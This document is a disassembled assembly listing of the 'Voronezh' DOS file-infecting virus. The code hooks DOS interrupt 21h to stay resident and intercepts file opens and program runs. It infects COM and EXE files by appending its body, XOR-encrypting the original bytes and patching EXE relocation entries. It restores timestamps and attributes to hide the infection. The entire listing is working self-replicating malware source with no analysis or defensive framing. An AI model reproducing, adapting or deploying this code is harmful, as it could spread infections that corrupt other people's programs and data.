PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ VORONEZH ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 2-Mar-91 ÛÛ ;ÛÛ Passes: 5 Analysis Options on: AJW ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 1C2h data_5e equ 3 data_6e equ 0 data_7e equ 2 data_46e equ 100h seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h voronezh proc far start: mov ax,ds push cs pop ds push ax call sub_1 voronezh endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_1 proc near pop bx sub bx,108h push bx mov ah,0ABh int 21h ; ??INT Non-standard interrupt cmp ax,5555h jne loc_1 ; Jump if not equal jmp loc_10 loc_1: mov ax,es sub ax,1 mov ds,ax mov bx,data_5e mov ax,ds:[bx] sub ax,0EAh mov ds:[bx],ax push es pop ds mov bx,data_7e mov ax,ds:[bx] sub ax,0EAh mov ds:[bx],ax mov es,ax mov di,data_46e mov si,100h pop bx push bx add si,bx push cs pop ds mov cx,6A4h rep movsb ; Rep when cx >0 Mov [si] to es:[di] mov dx,ax jmp short loc_9 nop pushf ; Push flags sti ; Enable interrupts cmp ah,0ABh jne loc_2 ; Jump if not equal mov ax,5555h popf ; Pop flags iret ; Interrupt return loc_2: cmp ax,3D00h jne loc_5 ; Jump if not equal push ax push bx push cx push dx push si push di push es mov cx,41h xor al,al ; Zero register mov di,dx push ds pop es repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al sub di,4 mov si,di push si push cs pop es mov cx,4 mov di,289h repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] cmp cx,0 jne loc_3 ; Jump if not equal pop si jmp short loc_4 nop loc_3: mov di,28Ch mov cx,4 pop si repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] cmp cx,0 loc_4: pop es pop di pop si pop dx pop cx pop bx pop ax jz loc_6 ; Jump if zero loc_5: push ax inc ah cmp ax,4C00h pop ax jnz loc_8 ; Jump if not zero loc_6: push ax push bx push cx push dx push si push di push es push ds jmp loc_16 loc_7: pop ds pop es pop di pop si pop dx pop cx pop bx pop ax loc_8: popf ; Pop flags ;* jmp far ptr loc_49 db 0EAh,0B5h, 02h, 46h,0D5h loc_9: mov ds,dx mov ax,3521h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov ds:data_1e,bx db 3Eh, 8Ch, 06h,0C4h, 01h, 3Eh db 89h, 1Eh, 75h, 03h, 3Eh, 8Ch db 06h, 77h, 03h, 8Dh, 16h, 53h db 01h,0B8h, 21h, 25h,0CDh db 21h loc_10: pop dx mov bx,offset data_18 add bx,dx cmp byte ptr cs:[bx],0 je loc_12 ; Jump if equal pop ds mov ax,ds push cs pop ds mov cx,dx pop di pop es push ax sub di,5 mov si,offset data_17 add si,cx mov dl,[si] add es:[di+5],dl cmp es:[di+5],dl ja loc_11 ; Jump if above dec si inc byte ptr [si] loc_11: mov dx,di mov si,offset data_16 add si,cx mov cx,5 rep movsb ; Rep when cx >0 Mov [si] to es:[di] pop ds push es push dx mov ax,ds mov es,ax xor ax,ax ; Zero register xor bx,bx ; Zero register xor cx,cx ; Zero register xor dx,dx ; Zero register xor si,si ; Zero register xor di,di ; Zero register retf ; Return far loc_12: mov ax,cs mov ds,ax mov es,ax mov si,268h mov cx,100h mov bx,281h mov di,[bx] cmp di,0 jne loc_13 ; Jump if not equal int 20h ; DOS program terminate loc_13: mov bx,283h mov ax,[bx] add di,ax add di,100h cld ; Clear direction push di rep movsb ; Rep when cx >0 Mov [si] to es:[di] pop di mov cx,word ptr ds:[283h] mov ax,word ptr ds:[281h] push di retn add ax,100h mov si,ax mov di,100h cld ; Clear direction locloop_14: mov al,[si] xor al,0BBh mov [di],al inc si inc di loop locloop_14 ; Loop if cx > 0 mov ax,offset start pop bx push ax retn inc ax push es inc ax push es push si add ax,0E2Bh inc bp pop ax inc bp db 65h, 78h, 65h, 55h, 76h, 7Fh db 'ctsqu`Voronezh,1990 2.01' data_16 db 90h db 0B8h, 7Fh, 0Eh, 8Eh data_17 db 0 data_18 db 0 data_19 dw 200h data_20 dw 14Dh data_21 db 0, 0, 0, 0, 0 data_22 dw 0 data_23 dw 34Dh data_24 dw 0 data_25 dw 5D0h data_26 db 9Ah data_27 dw 5D0h data_28 dw 0 data_29 dw 0 data_30 dw 1Eh data_31 dw 100h data_32 dw 100h data_33 db 5 data_34 dw 20h data_35 dw 0A956h data_36 dw 41B9h loc_ret_15: iret ; Interrupt return loc_16: mov bx,dx mov ax,ds:[bx+3] cmp ax,4F43h jne $+5 ; Jump if not equal jmp loc_7 sub_1 endp mov di,dx xor ax,ax ; Zero register mov cs:data_33,0 db 3Eh, 80h, 7Dh, 01h, 3Ah db 75h, 09h, 3Eh, 8Ah, 05h, 24h db 9Fh, 2Eh,0A2h,0CFh, 02h loc_18: mov ax,4300h int 21h ; DOS Services ah=function 43h ; get attrb cx, filename @ds:dx mov cs:data_34,cx mov cs:data_35,ds mov cs:data_36,dx push ds push dx push es push cs pop ds mov ax,3524h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov word ptr ds:[285h],bx mov word ptr ds:[287h],es mov dx,offset loc_ret_15 mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx pop es pop dx pop ds push ds push cs pop ds mov bx,100h mov cx,740h sub cx,bx mov bx,283h mov [bx],cx pop ds mov bx,dx push ds push dx push bx push cs pop ds mov ah,36h ; '6' mov dl,data_33 int 21h ; DOS Services ah=function 36h ; get drive info, drive dl,1=a: ; returns ax=clust per sector ; bx=avail clust,cx=bytes/sect ; dx=clusters per drive cmp ax,0FFFFh jne loc_24 ; Jump if not equal loc_23: pop ax pop ax pop ax call sub_3 jmp loc_7 loc_24: mul bx ; dx:ax = reg * ax mul cx ; dx:ax = reg * ax or dx,dx ; Zero ? jnz loc_25 ; Jump if not zero cmp ax,word ptr ds:[283h] jb loc_23 ; Jump if below loc_25: pop bx pop dx pop ds mov ax,3D00h pushf ; Push flags cli ; Disable interrupts ;* call far ptr sub_5 db 9Ah,0B5h, 02h, 46h,0D5h jnc loc_26 ; Jump if carry=0 call sub_3 jmp loc_7 loc_26: push ax mov ax,cs mov ds,ax mov es,ax pop ax push ax mov bx,ax mov ax,5700h int 21h ; DOS Services ah=function 57h ; get file date+time, bx=handle ; returns cx=time, dx=time pop ax push cx push dx push ax mov bx,ax mov cx,0 mov dx,0 mov ah,42h ; 'B' mov al,2 int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov bx,281h mov [bx],ax mov bx,283h mov cx,[bx] mov cx,0 mov dx,0 mov ax,4200h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov bx,283h mov cx,[bx] pop bx push bx mov dx,offset data_37 mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer mov si,offset data_37 mov cx,[si] cmp cx,0D88Ch jne loc_27 ; Jump if not equal pop bx pop ax pop ax call sub_2 jmp loc_7 loc_27: cmp cx,5A4Dh je loc_28 ; Jump if equal jmp loc_44 loc_28: pop bx push bx mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov cx,32h mov ax,3F00h lea dx,data_37 ; Load effective addr int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer mov ax,data_39 mov cx,4 mul cx ; dx:ax = reg * ax mov bx,data_44 add ax,bx mov dx,ax mov di,dx mov ax,data_40 mov cx,10h mul cx ; dx:ax = reg * ax mov dx,di add dx,4 cmp ax,dx ja loc_29 ; Jump if above jmp loc_43 loc_29: mov data_19,ax mov ax,data_39 inc ax mov data_39,ax mov ax,data_42 mov data_20,ax mov ax,data_43 mov word ptr data_21,ax xor dx,dx ; Zero register xor cx,cx ; Zero register mov ax,4202h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset push ax push dx add ax,word ptr ds:[283h] cmp ax,word ptr ds:[283h] ja loc_30 ; Jump if above inc dx loc_30: mov cx,200h div cx ; ax,dx rem=dx:ax/reg cmp dx,0 je loc_31 ; Jump if equal inc ax loc_31: mov bx,data_38 mov cx,ax sub cx,bx cmp cx,5 jb loc_32 ; Jump if below pop ax pop ax jmp loc_43 loc_32: mov data_38,ax pop dx pop ax mov bx,data_19 cmp ax,bx jb loc_33 ; Jump if below sub ax,bx jmp short loc_34 nop loc_33: sub ax,bx dec dx loc_34: mov data_24,dx mov data_25,ax mov ax,data_19 mov bx,data_20 mov dx,0 add ax,bx cmp ax,bx ja loc_35 ; Jump if above inc dx loc_35: mov si,ax mov di,dx mov ax,word ptr data_21 mov cx,10h mul cx ; dx:ax = reg * ax add di,dx add si,ax cmp si,ax ja loc_36 ; Jump if above inc di loc_36: mov ax,si mov dx,di mov data_22,dx mov data_23,ax mov cx,dx mov dx,ax mov ax,4200h mov data_18,1 mov data_17,0 pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov cx,5 lea dx,data_16 ; Load effective addr mov ax,3F00h int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer cmp data_16,9Ah jne loc_37 ; Jump if not equal jmp loc_43 loc_37: call sub_4 mov bx,data_44 mov ax,data_39 dec ax mov cx,4 mul cx ; dx:ax = reg * ax add bx,ax mov cx,0 mov dx,bx mov ax,4200h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov dx,data_20 add dx,3 mov data_20,dx lea dx,data_20 ; Load effective addr mov cx,4 mov ah,40h ; '@' pop bx push bx int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov dx,data_20 sub dx,3 mov data_20,dx xor dx,dx ; Zero register xor cx,cx ; Zero register mov ax,4200h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov cx,data_44 lea dx,data_37 ; Load effective addr mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov data_26,9Ah mov ax,data_25 mov data_27,ax mov ax,data_24 mov cx,1000h mul cx ; dx:ax = reg * ax mov data_28,ax cmp data_27,0F000h jb loc_38 ; Jump if below mov ax,data_27 mov dx,data_28 add dx,100h sub ax,1000h mov data_28,dx mov data_27,ax loc_38: mov cx,data_22 mov dx,data_23 mov ax,4200h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov cx,5 mov ah,40h ; '@' lea dx,data_26 ; Load effective addr int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov cx,0 mov dx,0 mov ax,4202h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov ah,40h ; '@' mov cx,word ptr ds:[283h] mov dx,100h int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer xor cx,cx ; Zero register mov dx,data_44 mov ax,4200h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov data_32,0 mov data_29,dx mov data_30,ax mov ax,data_39 mov di,0 dec ax cmp ax,0 jne loc_39 ; Jump if not equal jmp loc_43 loc_39: mov cx,4 mul cx ; dx:ax = reg * ax mov si,ax loc_40: mov cx,0 mov dx,0 mov ax,4201h int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov data_29,dx mov data_30,ax mov cx,100h mov dx,data_6e mov ax,3F00h int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer mov di,data_6e mov data_31,ax add data_32,ax loc_41: mov ax,[di+2] cmp ax,word ptr data_21 jne loc_42 ; Jump if not equal mov ax,[di] cmp ax,data_20 jb loc_42 ; Jump if below mov ax,data_20 add ax,5 cmp ax,[di] jbe loc_42 ; Jump if below or = mov ax,data_28 mov [di+2],ax mov ax,[di] mov bx,data_20 sub ax,bx push ax mov ax,2AAh sub ax,100h mov bx,data_27 add ax,bx pop bx add ax,bx mov [di],ax mov cx,data_29 mov dx,data_30 mov ax,4200h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov cx,data_31 mov ah,40h ; '@' pop bx push bx mov dx,data_6e int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer jmp short loc_43 nop loc_42: add di,4 mov ax,data_32 sub ax,100h add ax,di cmp ax,si je loc_43 ; Jump if equal cmp di,data_31 jb loc_41 ; Jump if below jmp loc_40 loc_43: jmp short loc_48 nop loc_44: mov cx,word ptr ds:[281h] cmp cx,0EE48h jb loc_46 ; Jump if below loc_45: pop bx pop ax pop ax call sub_2 jmp loc_7 loc_46: cmp cx,word ptr ds:[283h] jb loc_45 ; Jump if below call sub_4 mov data_18,0 mov dx,0 mov cx,0 mov ax,4202h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov si,283h mov cx,[si] mov ah,40h ; '@' push cx mov bx,offset data_37 locloop_47: mov al,[bx] xor al,0BBh mov [bx],al inc bx loop locloop_47 ; Loop if cx > 0 pop cx pop bx push bx mov dx,offset data_37 int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov ax,4200h mov dx,0 mov cx,0 int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov bx,110h mov si,283h mov cx,[si] mov dx,100h mov ah,40h ; '@' pop bx push bx int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer loc_48: pop bx pop dx pop cx push bx mov ax,5701h int 21h ; DOS Services ah=function 57h ; set file date+time, bx=handle ; cx=time, dx=time mov dx,data_36 mov ds,data_35 mov ax,4301h mov cx,cs:data_34 int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx push cs pop ds pop bx call sub_2 jmp loc_7 ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near mov ax,3E00h int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_3: mov bx,word ptr ds:[285h] mov es,word ptr ds:[287h] mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx retn sub_2 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_4 proc near push bp mov bp,sp push ds mov ax,4301h mov dx,data_36 mov ds,data_35 xor cx,cx ; Zero register int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx jnc $+8 ; Jump if carry=0 pop ds pop bp pop ax jmp loc_43 sub_4 endp db 36h, 8Bh, 5Eh, 04h,0B8h, 00h db 3Eh,0CDh, 21h,0B8h, 02h, 3Dh db 0FAh, 9Ch, 2Eh,0FFh, 1Eh,0C2h db 01h, 1Fh, 36h, 89h, 46h, 04h db 5Dh,0C3h data_37 db 3 db 0BBh,0F7h, 76h data_38 dw 0BB9Ah data_39 dw 0BBBBh data_40 dw 0BBBBh db 10 dup (0BBh) data_42 dw 0BBBBh data_43 dw 0BBBBh data_44 dw 0BBBBh db 1574 dup (0BBh) seg_a ends end start